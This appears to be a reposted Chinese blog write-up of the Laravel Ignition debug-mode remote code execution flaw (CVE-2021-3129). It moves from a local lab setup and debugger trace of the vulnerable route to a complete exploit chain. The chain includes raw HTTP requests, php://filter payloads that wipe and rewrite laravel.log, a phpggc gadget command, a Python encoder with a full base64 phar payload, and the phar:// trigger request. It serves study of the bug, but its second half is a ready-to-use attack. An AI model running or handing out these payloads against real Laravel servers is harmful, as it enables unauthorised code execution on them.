Laravel DEBUG模式 反序列化遠程代碼執行 POP鏈


前言:復習PHP

環境搭建

影響版本:Ignition<2.5.2

D:\phpstudy_pro\WWW\laravel-CVE-2021-3129\resources\views\hello.blade.php,創建hello.balde.php,內容如下:

<html>
    <body><h1>hello, {{ $username }}</h1></body>
</html>

訪問路由配置:

D:\phpstudy_pro\WWW\laravel-CVE-2021-3129\routes\web.php,內容如下:

Route::get('/hello', function () {
    return view('hello');
});

訪問URL:http://laravel.io/hello,返回內容如下

此時點擊紅框進行抓包,請求包如下:

POST /_ignition/execute-solution HTTP/1.1
Host: laravel.io
Content-Length: 210
Accept: application/json
Origin: http://laravel.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/json
Referer: http://laravel.io/hello?username=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\resources\\views\\hello.blade.php"}}

漏洞分析

首先這里先說下為什么路由是_ignition/execute-solution來進行訪問的,我自己找了挺久的都沒找到,最后來到vendor/facade/ignition/src/IgnitionServiceProvider.php,如下圖所示,這里顯示了相關的路由,我們可以通過對應的來進行調用方法

先看到漏洞點是來自vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php這個文件上,如下圖所示:

這里發現run方法中的file_put_contents進行了相關文件操作,如果這里的$parameters['viewFile']可控的話,那么我們則可以進行phar反序列化的利用,那么繼續看圖中的makeOptional方法,想要讓$output !== False,就需要看makeOptional方法是怎么運作的

可能自己在Windows上進行調試遇到的坑特別多,尤其是json格式的數據傳輸,它不會觸發端點,還必須修改到url傳參的格式才行,然后正斜杠也反斜杠也需要注意

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=username&parameters[viewFile]=phar://D:/phpstudy_pro/WWW/laravel-CVE-2021-3129/phar.log/test.txt

上面這種格式才會觸發調試的端點,然后這里繼續走,我們這里先分析正常的phar反序列化的觸發

而這里想要調用到MakeViewVariableOptionalSolution這個類的話,那就需要看如下這個路由的調用過程

這里會發現這個post方法根本就沒有寫,那是怎么觸發的,所以這里就需要進行動態調試觀察了

這里還有個類名::class,可以看到ExecuteSolutionController::class這種寫法,第一次見,查了資料,如下所示,也就是正常定義則返回類名的字符串,如果有定義命名空間,則前綴為命令空間\類名的的字符串

直接F7回來到如下,因為post方法本身不存在,就會調用父類的靜態方法__callStatic,這個也是laravel框架的特色了,也是第一次見,第一個參數則是方法名字post,第二個則是傳入的參數名,是一個數組,可能有多個

接着方法middleware就是正常的拼接字符串,合並merge到數組中

繼續走

接着一直F8來到如下,到這里就開始處理前面接收的信息,開始調用相關的控制器和方法,到這里為止,上面的基本就全是在處理被要求的路由和相關要執行的控制器方法等操作,然后接着就對對應的控制器和方法進行處理,這里的控制器就是ExecuteSolutionController

開始調用ExecuteSolutionController的__invoke,因為被調用的函數不存在則就會調用__invoke

它還會判斷當前要獲取的solution類是否存在並且該類的名稱中是否存在"Solution",但是幸運的是這里的MakeViewVariableOptionalSolution都是符合的

最后就成功的返回了MakeViewVariableOptionalSolution這個類的對象

接着開始調用$solution,也就是MakeViewVariableOptionalSolution的run方法

先是makeOptional方法,開始觸發phar反序列化

整體的流程:ExecuteSolutionController->__invoke() -> ExecuteSolutionRequest -> getRunnableSolution() -> getSolution() -> MakeViewVariableOptionalSolution->run()

漏洞利用

第一種方式漏洞利用復現:

POST /_ignition/execute-solution HTTP/1.1
Host: laravel.io
Content-Length: 202
Accept: application/json
Origin: http://laravel.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Content-Type: application/json
Referer: http://laravel.io/hello
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"phar://D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\phar.log\\test.txt"}}

可以看到這是一個phar反序列化的點,這樣利用的話是有缺點的,需要前提條件了,需要我們有一個上傳的點,所以參考文章作者還給了另外一個無條件的利用方式,但是DEBUG還是需要開啟的

第二種方式漏洞利用復現:

當viewFile參數為任意填寫的時候,可以觀察到log文件的內容,路徑為D:\phpstudy_pro\WWW\laravel-CVE-2021-3129\storage\logs\laravel.log

POST參數

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=username&parameters[viewFile]=AAAAAAAAAAAAAAAAAAAAA

log文件中的內容如下,那么如果這個log可控的話,讓我們寫成我們所需要phar內容則直接利用這個laravel自帶的log文件進行遠程代碼執行了嗎

那么如何可控呢?可以通過php://filter流,那么就需要有配合的函數file_put_contents,如下所示

如下流程:

清空laravel.log

方法是 utf-8 轉 utf-16 再轉 quoted-printable 最后把 utf-16 轉 utf-8,完成上述操作后log中所有字符轉為不可識別字符(對於Base64來說,因為Base64的算法是6個bit最多能表示 2^6=64),最后Base64decode就可以進行清空操作

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\storage\\logs\\laravel.log

給報錯增加一個前綴

這個步驟自己也不太清楚,別人的描述如下:

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=AA

payload 需要經過base64->utf8.utf16le

這樣的話才符合第4步的過程,不是payload的字符都會被清空,那么最終留下來的就是你的payload

我的payload生成如下:

sudo ./phpggc monolog/rce1 call_user_func phpinfo --phar phar -o php://output

這里提供了一個腳本去實現utf-8轉換為utf-16(相當於convert.iconv.utf-8.utf-16le),接着然后將空字節0x00替換為=00的效果(相當於convert.quoted-printable-decode)

from binascii import b2a_hex
payload = "PD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQrZAgAAAgAAABEAAAABAAAAAACCAgAATzozMjoiTW9ub2xvZ1xIYW5kbGVyXFN5c2xvZ1VkcEhhbmRsZXIiOjE6e3M6OToiACoAc29ja2V0IjtPOjI5OiJNb25vbG9nXEhhbmRsZXJcQnVmZmVySGFuZGxlciI6Nzp7czoxMDoiACoAaGFuZGxlciI7TzoyOToiTW9ub2xvZ1xIYW5kbGVyXEJ1ZmZlckhhbmRsZXIiOjc6e3M6MTA6IgAqAGhhbmRsZXIiO047czoxMzoiACoAYnVmZmVyU2l6ZSI7aTotMTtzOjk6IgAqAGJ1ZmZlciI7YToxOntpOjA7YToyOntpOjA7czo3OiJwaHBpbmZvIjtzOjU6ImxldmVsIjtOO319czo4OiIAKgBsZXZlbCI7TjtzOjE0OiIAKgBpbml0aWFsaXplZCI7YjoxO3M6MTQ6IgAqAGJ1ZmZlckxpbWl0IjtpOi0xO3M6MTM6IgAqAHByb2Nlc3NvcnMiO2E6Mjp7aTowO3M6NzoiY3VycmVudCI7aToxO3M6MTQ6ImNhbGxfdXNlcl9mdW5jIjt9fXM6MTM6IgAqAGJ1ZmZlclNpemUiO2k6LTE7czo5OiIAKgBidWZmZXIiO2E6MTp7aTowO2E6Mjp7aTowO3M6NzoicGhwaW5mbyI7czo1OiJsZXZlbCI7Tjt9fXM6ODoiACoAbGV2ZWwiO047czoxNDoiACoAaW5pdGlhbGl6ZWQiO2I6MTtzOjE0OiIAKgBidWZmZXJMaW1pdCI7aTotMTtzOjEzOiIAKgBwcm9jZXNzb3JzIjthOjI6e2k6MDtzOjc6ImN1cnJlbnQiO2k6MTtzOjE0OiJjYWxsX3VzZXJfZnVuYyI7fX19BQAAAGR1bW15BAAAAJ2ih2AEAAAADH5/2KQBAAAAAAAACAAAAHRlc3QudHh0BAAAAJ2ih2AEAAAADH5/2KQBAAAAAAAAdGVzdHRlc3Qw4UQBi891gzDWE5xsElOdlgn7vAIAAABHQk1C"  # base64 payload
armedPayload = ''
for i in payload:
    i = "="+b2a_hex(i.encode('utf-8')).decode('utf-8').upper()
    armedPayload += i+"=00"
print("123456789012345"+armedPayload)  # 前面加15個字符,對應坑1

這里為什么要有個"123456789012345",原因如下:

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=你編碼過的payload

清空不相關的字符串和把被編碼的payload進行解碼

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\storage\\logs\\laravel.log

phar反序列化,觸發

solution=Facade\Ignition\Solutions\MakeViewVariableOptionalSolution&parameters[variableName]=123&parameters[viewFile]=phar://D:\\phpstudy_pro\\WWW\\laravel-CVE-2021-3129\\storage\\logs\\laravel.log\\test.txt

參考文章:https://www.ambionics.io/blog/laravel-debug-rce
參考文章:https://xz.aliyun.com/t/9165
參考文章:https://xz.aliyun.com/t/9030


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM